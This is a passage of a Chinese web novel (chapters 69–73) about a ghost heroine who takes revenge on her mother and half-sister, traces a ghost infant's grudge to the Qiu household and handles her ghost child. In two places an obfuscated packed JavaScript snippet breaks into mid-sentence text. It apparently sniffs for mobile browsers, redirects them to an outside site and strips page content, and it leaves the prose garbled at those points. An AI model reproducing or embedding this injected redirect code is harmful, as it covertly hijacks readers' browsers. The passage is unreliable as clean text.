王伯喘着粗气,脸上是见了鬼一样的表情。 “看……看到了!” “裘府门外,真的……真的在施粥!” “好几口大锅,排队的人从街头排到街尾,还有大夫在赠药!” “千真万确!” “轰”的一声。 永安侯和侯夫人只觉得天旋地转。 安槐说的,竟然全是真的! 侯夫人颤抖着声音,抱着最后一丝希望问道:“许……许是裘大人就是……就是心善呢?” 王伯哭丧着脸,给了她最后一击。 “夫人啊!” “老奴……老奴找人打听了!” “听说,裘太傅这次,还捐了二十万两白银。” 二十万两! 不是二百两,不是二千两! 是二十万两白银! 这个数字,像一座大山,轰然压在了永安侯和侯夫人的心头。 什么样的大善人,会一夜之间,拿出二十万两来做慈善? 这已经不是心善了,这是被逼到了绝路,拿钱买命啊! 永安侯一屁股坐回了太师椅上,面如死灰。 侯夫人则是两眼一翻,在丫鬟的惊呼声中,再一次,干净利落的又晕了过去。 整个永安侯府,彻底陷入了一片由恐惧支配的混乱之中。 第69章 折骨,替母赎罪 一场乱七八糟的急救,侯夫人的眼皮颤了颤,悠悠转醒。 恐惧,像一只无形的手,死死攥住了她的心脏。 “鬼……鬼啊……” 她嘴唇哆嗦着,眼里是挥之不去的惊恐。 昨夜那个在房梁上跳舞的红衣鬼童,安槐口中裘府夜夜啼哭的婴孩,还有那骇人的二十万两白银…… 一桩桩一件件,都像淬了毒的钢针,扎得她魂飞魄散。 侯夫人眼神涣散地四下张望。 “张嬷嬷!张嬷嬷呢!” 张嬷嬷是她的陪嫁,是她身边最得力的心腹,更是当年处理那些“不干净”事的唯一知情人。 一个老妇人快步走了进来。 “夫人,老奴在呢。” 侯夫人像是抓住了救命稻草,死死抓住张嬷嬷的手,指甲几乎要嵌进她的肉里。 “嬷嬷!” 侯夫人再也撑不住,一把鼻涕一把泪地哭诉起来,“怎么办啊!那个小畜生……不,是安槐!她说的都是真的!” “裘家都花二十万两买命了,下一个是不是就轮到我们了?” 张嬷嬷的脸色也白得像纸。 她扶着侯夫人坐下,声音压得极低:“夫人,您先别慌。老奴刚刚听王伯说了,那裘家……好像是跟他们家小儿子的一个妾室有关。” “听说那妾室怀胎九月,一尸两命,死得极惨。” 侯夫人一听,斗得更厉害了。 一尸两命…… 这四个字,让她想起了一些被尘封多年的,血淋淋的往事。 “是……是来索命的!一定是来索命的!”她喃喃自语,“我们……我们当年……” 张嬷嬷赶紧捂住她的嘴:“夫人!慎言!隔墙有耳!” 她深吸一口气,强迫自己镇定下来:“夫人,事到如今,怕是只有破财消灾这一条路了。裘家能做,我们也能做!” 侯夫人眼前一亮,随即又黯淡下去。 “钱……府里的钱,大半都给安槐做了嫁妆,库房里早就空了!” 谁知道安槐能那么狠,专挑值钱的拿。 拿完封箱往自己院子里一塞,成亲那日都带走了,半个铜板都没落下。 现在嫁妆聘礼都到了三皇子府,那是想也想不来了。 张嬷嬷眼珠一转,凑到侯夫人耳边,低语道。 “夫人,咱们没钱,可三皇子妃……她有钱。” “嬷嬷说笑,安槐有钱还能给我?” “直接要,当然不行。咱们得有个名头要……老奴先去试试,若是不行,也不跌夫人的面子。” 侯夫人觉得能要到的可能性不大,毕竟她和这个女儿确实没有一点情谊。 *** 安槐也刚回府不久,正看团子闹腾,黎四从外面走了进来。 “王妃,永安侯府的张嬷嬷求见。” 安槐挑了挑眉。 动作还挺快。 “让她进来。” 张嬷嬷被领进院子时,看到的就是这样一副景象。 面容冷峻的三皇子妃,闲适地坐在石凳上喝茶。 一个粉雕玉琢的小娃娃,正拿着一把比他还高的木剑,兴致勃勃地追着一个五大三粗的壮汉砍。 那壮汉抱头鼠窜,嘴里还嚷嚷着:“小祖宗!使不得!这真是脑袋啊!” 整个画面,透着一股难以言喻的诡异与……和谐? 张嬷嬷心里发毛,但还是硬着头皮上前行礼。 “老奴,见过三皇子妃。” 安槐眼皮都懒得抬一下,呷了一口茶。 “何事?” 张嬷嬷脸上立刻堆起了菊花般的褶子,那叫一个卑微恭敬。 “王妃,是侯夫人。夫人她近来心神不宁,总觉得该为京中百姓做些善事,一来为圣上祈福,二来……也为您和殿下积些阴德。” 这话说得,滴水不漏,大义凛然。 安槐差点笑出声。 积阴德? 我一个三百年的老鬼,还需要积阳间的德? “说重点。” 张嬷嬷的笑容僵了一下,只好开门见山:“只是……夫人的一片善心,却被俗物所困。您也知道,为了您的嫁妆,府里如今实在是……实在是周转不开。” “所以侯夫人的意思是,想请王妃您出一份力。这钱,都是拿来开善堂、施米粥的,也算是王妃您新婚燕尔,为自己积福报了。” “哦?” 安槐终于抬眼,似笑非笑地看着她。 “要多少?” 张嬷嬷见有门,心中一喜,连忙伸出两根手指。 “侯夫人的意思是,先拿出二十万两,表个诚意。” 她生怕安槐嫌多,又补充道:“裘太傅家,出的也是这个数。” 安槐放下了茶杯。 “呵。” 她轻笑一声,声音不大,却让张嬷嬷激灵灵打了个冷颤。 “二十万两?买侯夫人一个心安?” 张嬷嬷的脸色瞬间变了:“王妃,您……您这是什么话?这是做善事……” “善事?”安槐打断她,声音陡然转冷:“张嬷嬷,你回去告诉侯夫人。” “捐钱,是要有一颗真正的善心。若是因为做了亏心事,怕遭报应,那不叫行善。” 安槐站起身,一步步走到张嬷嬷面前,居高临下地看着她。 她身上那股子从乱葬岗里带出来的阴寒之气,毫无保留地释放出来。 张嬷嬷只觉得一股凉气从脚底板直冲天灵盖,双腿一软,差点跪下去。 安槐俯下身,在她耳边,用只有两个人能听到的声音,轻轻说道。 “那叫……花钱买命。” 轰! 张嬷嬷脑子里一片空白,浑身的血都凉了。 她……她怎么会知道? 侯夫人做的那些事,桩桩件件,都有她张嬷嬷的份! 那些被处理掉的、见不得光的婴孩,那些被暗中下药的姨娘…… 她虽然没亲眼见过什么鬼童,但一听侯夫人的描述,就知道是那些小鬼来讨债了! 此刻被安槐一语道破,她只觉得眼前这个美得不像话的三皇子妃,比那些索命的恶鬼还要可怕! “王妃……王妃饶命……”张嬷嬷的声音抖得不成样子。 “饶命?” 安槐直起身,嘴角勾起一抹讥讽的弧度。 “求我做什么?去求那些被你们害死的人啊。” 她看着张嬷嬷那张因恐惧而扭曲的脸,话锋一转。 “不过……” “我倒可以再指条明路。” 张嬷嬷像是溺水的人抓住了浮木,猛地抬头。 “王妃请讲!” “花钱,是最低级的赎罪方式,也是最没诚意的。”安槐慢悠悠地说:“要想真的让那些‘东西’息怒,得拿出点真东西来。” 张嬷嬷不解。 “比如,找一个贫苦清修的寺庙,去苦行赎罪。” “日日诵经,夜夜忏悔,粗茶淡饭,青灯古佛。” “越苦,越见诚心。” 张嬷嬷一听,脸都绿了。 让金尊玉贵、养尊处优的侯夫人去过那种日子?那不是要了她的命吗? “可……可我们夫人的身子骨,一向不好,怕是……怕是受不住那份苦啊。” “哦?” 安槐眉梢一挑,露出了狐狸般的笑容。 “身体不好啊……” “那倒也无妨。” “我也没说,一定非要她本人去啊。” 张嬷嬷愣住了:“王妃的意思是……” “这替父出征,替母尽孝,自古以来都是佳话。” 安槐的声音带着一丝诱惑。 “可以让……最亲近的人去啊。” “比如,女儿什么的。” “替母修行三年,感天动地。这诚意,可比那二十万两黄白之物,要足得多了。” 第70章 折骨,看不惯,多适应 张嬷嬷失魂落魄地回了永安侯府。 她将安槐的话,一字不漏地转述给了侯夫人。 当听到“花钱买命”四个字时,侯夫人手里的茶杯“哐当”一声摔在地上,碎成了几瓣。 她的脸,比张嬷嬷的还白。 完了。 全完了。 安槐那个小贱人,什么都知道! 她不是在威胁,她是在陈述一个事实! “夫人,怎么办啊?”张嬷嬷哭丧着脸。 侯夫人瘫在椅子上,半天说不出话来。 当听到安槐后半段的“建议”时,她涣散的眼神,却慢慢地,重新聚焦了。 “替母修行……替母修行……” 她喃喃地重复着这几个字,眼中闪烁着异样的光芒。 这个法子,她好像也在哪里听过,说是大诚心,可抵大业障。 正说着,门外传来了安明珠的声音。 “母亲醒了吗?” 安明珠气冲冲地闯了进来,脸上还挂着泪痕。 侯夫人看着自己这个娇养了十几年的女儿,目光变得有些复杂。 她确实疼爱安明珠,视若掌上明珠。 但这份疼爱里,也掺杂了别的东西。 安明珠出生的那天,她父亲恰好在官场上得了一次大晋升。 有个云游的道士曾断言,此女命格富贵,能为家族带来好运。 这些年来,似乎也确实如此。 她有多疼爱安明珠,就有多厌恶那个一出生就让她被夫君冷落、被下人非议的安槐。 如今,这“好运”,是不是也该回报一下她这个母亲了? 张嬷嬷是何等的人精,一看侯夫人的眼神,就知道她动了心。 她立刻上前,帮着添了一把火。 “夫人,王妃说的……不无道理啊。” “女儿孝顺母亲,本就是天经地义。如今府上遭此大难,正是二小姐报恩的时候。” 她看了一眼安明珠,语气诚恳。 “二小姐年纪还轻,去庙里清修三年,替母祈福,这是何等的大孝之举?” “传出去,整个京城都要赞二小姐一声‘孝女’!” “这名声,可比金子还贵重。等三年后回来,还怕找不到一户顶好的人家吗?到时候,只怕是王孙公子都要踏破咱们侯府的门槛了!” 这番话,句句都说到了侯夫人的心坎里。 是啊! 既能消灾解难,又能为明珠博一个好名声,这简直是一举两得! 至于那三年的苦…… 年轻人,吃点苦怕什么? 侯夫人打定了主意,拉过安明珠的手,脸上挤出一个慈爱的笑容。 “明珠啊,我的好女儿。” “如今,只有你能救娘,救我们整个侯府了。” 她拐弯抹角,将事情的严重性,以及“替母修行”的必要性和好处,都说了一遍。 安明珠一开始还听得云里雾里。 当她终于听明白,她娘的意思是要让她去尼姑庵里,吃斋念佛,当整整三年的尼姑时—— 她整个人,都傻了。 空气,凝固了足足三秒。 “不——!” 一声穿云裂石的尖叫,几乎要掀翻清明院的屋顶。 安明珠猛地甩开侯夫人的手,状若疯癫。 “我不去!我不要当尼姑!” “你们让我去死!我也不要去那种鬼地方!” “我才十六岁!我要嫁人!我要嫁给皇子!我不要去敲木鱼念经!” 她哭着,闹着,把屋子里的瓷器摆件砸了个稀巴烂。 那撒泼打滚的架势,活像一个被人抢了糖的三岁小孩。 不,比那还要难看百倍。 侯夫人那点因为算计女儿而生出的愧疚,瞬间被这通哭闹搅得烟消云散,只剩下满心的烦躁和怒火。 “混账东西!由不得你!” *** 安明珠在侯府闹得天翻地覆,寻死觅活的消息,很快就传到了安槐的耳朵里。 小喜一边说,一边幸灾乐祸地偷笑。 “王妃,您是没见着,听说二小姐把芳菲院都快拆了,最后被侯爷下令,直接关了起来。” 对永安侯来说,他虽然没见到鬼婴,但他确实梦见过安槐。 也是糟心事情。 让安明珠去修行赎罪,没有什么不好。 安槐端着一碗新出炉的冰镇酸梅汤,慢悠悠地喝了一口。 嗯,酸甜可口,人间烟火。 她喜欢。 “关起来了?”她放下碗,自言自语:“那怎么行?” “我这个做姐姐的,得帮帮她呀。” 小喜一愣:“帮她?” 安槐没再解释,而是直接起身,去了靳朝言的书房。 靳朝言正在看京兆府送来的卷宗,眉头微蹙。 那道疤痕,在他冷峻的脸上,更添了几分煞气。 “有事?”他头也不抬。 “嗯。”安槐也不客气,直接在他对面坐下:“殿下,找你帮个忙。” 靳朝言终于抬起头,黑沉的眸子看着她。 “说。” “帮我找个人。”安槐的手指在桌上有一下没一下地敲着:“要个生面孔,机灵点,长得俊俏,一看就很老实。最好是过几天就要离开京城,十年八年都不会回来的那种。” 靳朝言的目光深了深:“做什么?” “演一场戏。” “什么戏?” “英雄救美的戏。”安槐笑得像只偷了腥的猫,“我要让安明珠‘逃’出去。以为奔向美好的人生,其实一脚踩进地狱。” 靳朝言沉默了片刻。 他放下卷宗,身体微微前倾,那双能洞悉人心的眼睛,牢牢锁住安槐。 “为什么?” 他问的,不是为什么要演戏。 他问的是,她为什么要这么针对安明珠。 安槐迎上他的目光,毫不避讳。 “报仇。” 她回答得干脆利落。 见靳朝言没有说话,她索性将一切都摊开在他面前。 “你不好奇,永安侯府的大小姐,为什么会被养在庄子里,养成那副胆小怯懦、营养不良的模样吗?” “侯府虽然不待见她,但也不至于短了她的吃穿用度。每年,府里都会定时派人送银钱和物资去庄子。” 靳朝言的眼神动了动。 “但是。”安槐的语气冷了下来:“那些东西,十成里有八成,都被安明珠半道截胡了。” “她怕那个从未见过的姐姐活得太好,将来有一天会被接回府里,跟她争宠,抢她的风头。” “所以,她宁愿让亲姐姐在庄子里挨饿受冻,被下人欺凌。” “所以。”安槐看着靳朝言,一字一句,清晰无比:“你说,这笔账,我该不该讨回来?” 靳朝言的眼中,闪过一丝连他自己都未曾察觉的戾气。 安槐却笑了。 她站起身,走到他身边,俯身,双手撑在他的书案上,将他圈在自己与桌案之间。 两人的距离,瞬间拉近。 她能清晰地看到他深邃眼眸中的自己,甚至能感受到他身上传来的,那股子熟悉的、冰冷的阴煞之气。 “殿下。”她开口,声音又轻又慢,却带着不容置疑的强势。 “我就是这么一个睚眦必报的人。” “今天,我要让安明珠万劫不复。” “以后,我还会做更多类似的事情。” 她的指尖,轻轻划过他手边卷宗的封面,留下一点冰凉的触感。 “如果你觉得我心狠手辣,是个毒妇。” “那么,我劝你最好现在就开始慢慢适应。” “因为……” 她微微一笑,眼中是三百年的沧桑与通透,是乱葬岗里的无尽寒意,也是此刻灼灼的、鲜活的战意。 “我更狠毒的时候,还在后头呢。” 第71章 折骨,八字主人 书房内的空气,仿佛被她最后那句话冻结成了冰棱。 靳朝言握着笔的手,蓦地一顿。 墨点在宣纸上晕开,像一朵不祥的黑花。 他抬起头,那双深不见底的黑眸里,没有预想中的愤怒,反而是一种近乎探究的平静。 平静之下,是深海的涡流。 “我就不明白了。” 他开口,声音低沉,敲在静谧的空气里,竟有回响。 “安槐。” 他很少连名带姓地叫她。 “你在我面前,似乎从不屑于伪装分毫。” “你就真不怕,我会在意?” 他的手指,轻轻敲了敲桌案,那道从眉骨蔓延到脸颊的疤痕,也因此显得愈发狰狞。 “不怕我一纸休书,将你送回永安侯府那个火坑?” 安槐闻言,非但没有半分惧色,反而笑了。 她笑起来的时候,眼波流转,带着点邪气,又亮得惊人。 “殿下。” 她绕过书案,走到他面前,伸出一根白皙如玉的手指,轻轻摇了摇。 “第一,殿下难道没听过一句话?” 她的声音压低,带着一丝丝魅惑的凉意,像夏夜里贴着皮肤滑过的蛇。 “请神容易,送神难。” 当年问你要不要娶,你不反对。 现在我进了门,你想赶我走,可没那么容易了。 靳朝言的瞳孔,微不可察地缩了一下。 安槐嘴角的弧度更大了,她俯下身,与他平视,吐气如兰。 “第二嘛……” “殿下又怎么知道,现在……就不是我的伪装呢?” 一句话,如惊雷炸响。 是啊。 他见到的,真的是她的全部面目吗? 靳朝言看着眼前这张熟悉又陌生的脸,忽然觉得,看不透。 从她爽快答应这门婚事开始,就看不透。 他沉默了许久,久到安槐都以为他要发作。 最终,他却只是放下了手中的狼毫笔。 “也罢。” 他往后靠在椅背上,整个人的气势都松弛了下来。 “你前半生处境艰难,心有怨恨,亦是人之常情。” 他看着她,眼神复杂。 “我不是圣人,也不是那些满口仁义道德的腐儒。” “只要你做的事,无愧于天地。” 他的声音很轻,却带着一种不容置疑的决断。 “我,便不过问。” 这算是……承诺了? 安槐有些意外地挑了挑眉。 她还以为,至少要费一番口舌,甚至可能要动用点“非常规”手段,才能让他接受自己的行事风格。 没想到,他竟如此轻易地就划下了底线。 而这条底线,对她而言,宽得就像没有一样。 她虽然不是个好人,但也不是个恶鬼啊。 她笑了,发自内心地笑了。 “殿下放心。” “我不做坏事。” “我对得起天地良心。” “但也愿这天地人心,无愧于我。” 靳朝言深深地看了她一眼,不再多言。 他扬声朝门外喊道。 “诸元。” 门外立刻传来应答声,诸元的身影出现在门口。 “殿下有何吩咐?” “去,把时逸明叫过来。” 时逸明? 靳朝言缓缓道:“孤手下的人,刚从南边办完事回京述职,是个生面孔,过两日便会离京,无事不会进京。用来办你的事,最合适不过。” 安槐的眼睛亮了。 嚯。 这家伙,不仅接受能力强,执行力更是一流。 这队友,能处。 有事他真上啊。 没一会儿,一个年轻人走了进来。 他神情沉稳,眼神锐利,一看就是个精明干练的。 “属下时逸明,见过殿下,见过王妃。” 靳朝言指了指安槐,言简意赅。 “从今日起,到你离京之前,听王妃吩咐。” “她让你做什么,你便做什么。不必向我回禀。” 时逸明没有丝毫犹豫,立刻转向安槐,抱拳躬身。 “属下听令。” 这干脆利落的劲儿,安槐很是满意。 她看着靳朝言,毫不掩饰自己的欣赏:“殿下办事,果然周到。” “举手之劳。” 靳朝言重新拿起一份卷宗,话题一转,又回到了正事上。 “说回裘府。那鬼婴啼哭,怨气冲天,显然是冲着府中某人去的。” 他抬眼看向安槐,目光锐利。 “你要找的人,可是太子太傅的小儿子,裘似?” 毕竟,那枉死的妾室秦柔,是裘似的妾。 冤有头,债有主。 所有线索,似乎都指向了这位风流成性的裘家小公子。 “我也怀疑是他。” 安槐点了点头,从袖中摸出一张画着朱砂符文的黄纸,递了过去。 “这是我昨夜卜算出的,那孽障主人的生辰八字,你看看。” 这是她耗费了不少魂力才推算出来的,与那鬼婴怨气纠缠最深之人的命格。 靳朝言接过黄纸,只扫了一眼,便皱起了眉。 “不对。” 他断然道。 “这不是裘似的生辰。” “哦?”安槐有些诧异:“你如何确定?” “裘家对这个小儿子溺爱得紧,每年生辰,裘府都要大办宴席,广邀宾客。他的生辰在仲夏,并非这个时节。” 靳朝言虽然这些年不在京中,但回来这段时间,也恶补了不少。 安槐闻言,也蹙起了眉。 难道是她算错了? 不应该。 她对自己的术法,有绝对的自信。 靳朝言拿着那张黄纸,又端详了片刻,脸上的表情,渐渐变得凝重起来。 他似乎想到了什么,眼中闪过一丝迟疑。 “这个生辰……” 他喃喃道:“倒像是……裘家长子裘术!” 裘术! 太子少傅,吏部左侍郎,太子靳从行最得力的左膀右臂! 此人平日里为人谦和,风评极佳,是朝中有名的谦谦君子,与他那个声色犬马的弟弟裘似,简直是云泥之别。 怎么会是他? 如果那鬼婴真正的债主是裘术,那秦柔的死,就绝不仅仅是一桩内宅阴私那么简单! 裘似是花花公子,做什么荒唐事都可能。 裘术就不一样了。 靳朝言的神情却无比严肃。 “此事非同小可,必须确认。” 他立刻对门外的诸元下令:“马上去查,吏部左侍郎裘术的生辰八字,是否与此相符!” “是!” 诸元领命而去,动作极快。 书房里,一时间陷入了沉默。 安槐能感觉到,身边的男人,气息变了。 如果说之前他对裘府的事,还带着几分看戏的成分,那么此刻,当“裘术”这个名字被牵扯进来时,他身上那股属于皇室中人的,冰冷、锋锐的气息,便再也无法掩饰。 夺嫡之争,向来是踩着血肉白骨往上爬。 他靳朝言,也曾是这盘棋局中的一员,只是被人废了棋子,扔到了边城自生自灭。 如今,他回来了。 虽然现在没有任何迹象,但谁又敢说不会这京城的天不会变呢? 没过多久,诸元便脚步匆匆地赶了回来。 “殿下,王妃!” 他躬身回禀:“查清楚了,这张黄纸上的生辰八字,确确实实,是裘家大公子,裘术的!” 果然是他! 诸元喘了口气,又补充道:“而且,属下还打探到一件事。” “说。” “近几日,裘术身边,多了一个形迹可疑的灰袍老者。听裘府下人说,那是大公子重金从南疆请来的高人,专为……消灾解厄。” 消灾解厄? 安槐听到这四个字,冷笑出声。 “呵,现在知道怕了?” 她的眼中,满是嘲讽。 “看来,万贤山庄那把火,烧得不小,让他们八年的布局毁于一旦,终于坐不住了。” 两人正在书房中剖析案情,气氛正是紧张之时。 忽然,门外传来一阵急促的脚步声。 一个苍老而慌张的声音响了起来。 “殿下!王妃!老奴,老奴有事情禀告。” 是照顾团子的嬷嬷! 靳朝言的眉头瞬间拧成了一个疙瘩。 想着昨晚上的鬼哭狼嚎,别说裘府的人头疼,他也头痛。 现在是白天,不会又哭了吧。 第72章 折骨,鬼姐姐 靳朝言揉了揉突突直跳的太阳穴,第一次真切地感受到了养孩子的不易。 尤其是在有一个甩手不管的娘的情况下。 怪不得老话说,宁跟要饭的娘,不跟当官的爹。 没娘的孩子,哪怕爹是皇子,也像根草。 团子这位名义上的“娘”,正老神在在,端着茶盏,一副“与我无瓜”的模样。 靳朝言深吸一口气,压下心里那点微妙的怨气,沉声问门外的嬷嬷。 “何事惊慌?” 那嬷嬷花白的头发都有些散乱,一张老脸皱成了苦瓜,喘着气道。 “殿下……老奴,老奴也说不清楚……” 她指着外头,一副见了鬼的表情。 “小公子他……他……” “您,您还是亲自去看看吧!” 说不清楚? 靳朝言的脸色沉了下来。 他当即起身,大步朝外走去。 走了两步,他察觉到身后没什么动静,一回头,安槐还坐在原处,慢条斯理地吹着茶沫。 那姿态,仿佛要去看的不是她儿子,而是邻居家走丢的一只鸡。 靳朝言:“……” 他走回去,二话不说,攥住安槐的手腕。 细腻,微凉。 “你儿子。” 他言简意赅。 “一起。” 安槐抬了抬眼皮,目光落在他攥着自己的手上,眼神里没什么波澜。 “他有腿,饿不着。” “他现在可能不是饿不饿着的问题。” 靳朝言手上微微用力,不容拒绝地拉着她往外走。 “是死不死的了的问题。” 安槐撇了撇嘴。 想死? 阎王爷敢收吗? 不是他死不死的了,是会不会把别人吓死吧? 她虽然不怎么想搭理团子那个小麻烦精,但靳朝言这副“孩儿他爹”的架势都摆出来了,她也不好太过拂逆。 毕竟是盟友,面子还是要给的。 今天晚上,还等他伺候呢。 不高兴掉链子可不好。 于是,安槐只好由他牵着,跟着一起往后花园走去。 穿过月亮门,后花园的景象让靳朝言的脚步蓦地一顿。 只见花园正中的假山旁,几个丫鬟婆子远远地站着,个个面如土色,像是被钉在了原地,动也不敢动。 而她们视线的焦点,正是团子。 那小小的身影,正蹲在一块太湖石旁边,小脑袋一点一点的,嘴里嘀嘀咕咕,不知道在说些什么。 他面前,空无一人。 只有风吹过花木,带起一阵“沙沙”的轻响。 那画面,诡异得让人脊背发凉。 靳朝言心里陡然升起一个荒谬的念头,他侧过头,看向身边的安槐。 果然,这位正牌的“鬼母”一脸淡定。 甚至还有闲心打量了一下丫鬟们惨白的脸色。 她走上前,声音清清冷冷,却带着一种奇异的安抚人心的力量。 “都杵在这儿做什么?” “没事儿,小孩子牙牙学语,都喜欢自言自语。” 她轻描淡写地解释。 “这是在学说话呢,是好事。” 丫鬟婆子们听了,脸色稍稍好看了一些,但眼中的恐惧却丝毫未减。 学说话? 王妃您是没听见,小公子那对话,有来有回的! 靳朝言自然不信这套说辞,他压低声音问安槐。 “怎么回事?” 安槐的视线,落在团子面前那片空地上,瞳孔深处,映出了一番截然不同的景象。 在她的视野里,团子并非在对着空气说话。 他的面前,同样蹲着一个粉雕玉琢的小女孩。 那女孩穿着一身洗得发白的旧裙子,梳着两个丫髻,看起来约莫六七岁的光景。 只是她的脸,像蒙了一层浓雾,五官模糊,看不真切。 两个“小朋友”,正头碰头地嘀咕着。 “你叫团子呀?这个名字真好听。”小女孩的声音带着一丝空灵。 团子点点头,奶声奶气:“你呢?” “我……我不记得了。” “那你家在哪儿?” “我也没有家了。” 两个小家伙的对话,天真中透着一股子凉气。 安槐微微眯起了眼。 这小女鬼,脸虽然看不见,但气息却熟悉。 莫不是…… 就在这时,那小女孩忽然抬起头,冲着团子咯咯一笑。 “团子弟弟,我给你变个戏法吧!” 团子立刻拍起手来,满眼期待。 “好呀!好呀!” 安槐眉心一跳。 下一秒,就见那小女孩缓缓抬起了自己的一条胳膊。 然后,在团子好奇的注视下,那条胳膊竟像是失了筋骨的柳条,又像是刚出锅的面条,软趴趴地垂了下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17436420|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>手肘、手腕,以一种正常人绝无可能做到的诡异角度,扭曲着,折叠着。 就好像……那条胳里,根本没有骨头。 “是她!” 安槐的脑中,瞬间闪过那两个女孩的尸体。 那两具尸体,都是早死去多时的尸体,能走能动,不过是有灵体借尸还魂罢了。 真正的主子,竟然在这里。 为什么会在这里? 是来找她的? 团子却觉得有趣极了,他伸出小手,想去摸那条软绵绵的胳膊,嘴里还兴奋地喊着。 “姐姐!姐姐好厉害!” “啊——!” 旁边一个胆小的丫鬟,再也忍不住,发出一声短促的尖叫。 其他的丫鬟婆子,虽然没叫出声,但一个个脸色煞白如纸。 她们看不见小女鬼,她们只看见,小公子对着空气,拍手叫“姐姐”。 幸亏是大白天,要是晚上,得吓昏过去几个。 都说小孩子眼睛纯,能看见大人看不见的东西。 这王府,闹鬼了! 安槐的脑袋一突一突地疼。 闹鬼这种事,发生在别人家,那是看热闹不嫌事大。 发生在自己家…… 那叫房子塌了。 坚决不行! 她深吸一口气,果断地迈步上前。 在众人惊恐的目光中,她走到团子身边,伸出手,轻轻地摸了摸他的额头。 然后,她转过身,用一种不容置疑的严肃口吻,对众人宣布。 “孩子发烧了。” “烧得厉害,都开始说胡话了。” 众人:“啊?” 带头的嬷嬷最先反应过来,她惊魂未定,颤巍巍地走上前,也伸出手探了探团子的额头。 “哎哟!” 嬷嬷惊呼一声。 “还真是!这额头,都发烫了!” 她一脸后怕地拍着胸口。 “怪了,小公子的脸一直白白的,一点都不红,老奴竟没看出来……” 靳朝言也走了过来,摸了摸团子的额头,滚烫的温度让他眉头紧锁。 安槐没理会众人的议论,弯腰,一把将团子抱了起来。 小小的身体在她怀里挣扎了一下,似乎还想跟他的新朋友玩。 安槐面无表情,空着的那只手,对着团子的屁股就是一巴掌。 “啪!” 清脆响亮。 世界,瞬间安静了。 第73章 折骨,棍棒底下出孝鬼 团子懵了,忘了挣扎,也忘了哭,就这么呆呆地看着他这个便宜娘。 安槐抱着他,转身就往屋里走。 “还愣着做什么?” “去请府医!” 丫鬟婆子们如梦初醒,立刻乱中有序地行动起来。 靳朝言跟在安槐身后,看着她抱着孩子的背影,眼神复杂。 安槐一手抱着团子,垂在身侧,好像还拎着什么东西。 不过混乱中,没人注意。 很快,大夫被请了来。 一番望闻问切之后,得出了结论。 “小公子只是偶感风寒,有些发热,并无大碍。” “待老夫开一副驱寒的方子,喝下去,好好睡一觉,发发汗便好了。” 听到这话,所有人都松了一口气。 原来只是发烧啊。 吓**了。 发烧的人确实会说胡话。 更何况是发烧的孩子。 很快,黑乎乎的药汁被端了上来,散发着浓郁的苦味。 团子一看,小脸立刻皱成了一团。 他扭着头,不肯喝,一双黑葡萄似的大眼睛泪汪汪地望着靳朝言,无声地求救。 爹!救我! 靳朝言看着团子可怜巴巴的模样,心里一软,刚想开口说点什么。 “喝。” 安槐一个字,成功让他闭上了嘴。 她端着药碗,坐在床边,面无表情地看着团子,眼神里没有一丝一毫的商量余地。 团子瘪了瘪嘴,金豆子在眼眶里打转,却不敢掉下来。 他知道,这个娘,是真揍人的。 他委委屈屈地张开嘴,一边眼泪汪汪地看着靳朝言,一边小口小口地喝着苦药。 喝一口,他就偷偷抬眼,看一眼床边。 靳朝言顺着他的视线看过去。 床边,空空如也。 可在团子和安槐的眼里,那个模糊了五官的小女鬼,正可怜巴巴地蹲在床边。 她不是不想走。 而是她的后心处,不知何时,被贴上了一片普普通通的槐树叶。 就是这片叶子,让她像被钉在了原地,动弹不得。 她也想跑,可背后那片叶子,仿佛有千钧重,压得她魂体都快散了。 团子看着小伙伴被“囚禁”,心里着急,又不敢反抗**“**”。 他刚想探头,跟小女孩用眼神交流一下。 “啪!” 安槐反手又是一巴掌,拍在他脑门上。 “看哪儿呢?” 团子:“呜……” 他委屈地低下头,继续喝药。 刚喝了两口,又忍不住,偷偷用眼角的余光去瞟。 “啪!” 安槐精准预判,又是一巴掌。 “好好喝药,东张西望,像什么样子。” 团子:“呜呜……” 靳朝言在旁边看着,嘴角抽了抽。 这鬼婴到了安槐手里,就跟只被掐住后颈肉的小奶猫似的,一点脾气都没有了。 有点可怜。 他这个爹在一边看着不敢管,有点怂。 靳朝言莫名觉得对上团子求救的目光,有点心虚。 他清了清嗓子,试图为儿子争取一点“**”。 “咳,夫人。” “小孩子,别总打头。” 安槐头也不抬,淡淡道。 “放心,打不傻。” “他又不是人。” 反正房间里没人,安槐也懒得装慈母。 靳朝言:“……” 好有道理,他竟无法反驳。 团子委委屈屈把药喝了。 安槐教育他。 “你能不能感觉到,这个小姐姐和其他人有什么不一样?” 团子点头。 “那就好,我教你,人鬼殊途,你想在王府当个人,就不能让人知道你是鬼。” 靳朝言嘴角抽了抽。 这都说的啥? 他以前觉得自己在边关十年,已经是见过世上所有事的大世面了。 如今才知,大千世界,无奇不有。 他看向团子目光所在之处,什么都没有。 所以团子不是发烧,是真看见了鬼。 团子点头。 “所以,你看见也要当没看见。如果对方有什么事情,你也必须确保房间里没有活人,才能跟她交流。当然,爹娘除外,爹娘都知道你不是人。” 团子点头。 安槐把他放平,盖好被子。 “行了,睡会吧。我跟她聊会儿。” 团子闭上眼睛,很快睡着了。 虽然是鬼婴,毕竟是个婴。 然后,她站起身,走到了床边,把小女孩拎了过来。 安槐拎着那小女鬼,就像拎着一只不听话的猫崽子,随手往地上一放。 “站好。” 那小女鬼飘飘悠悠地落了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 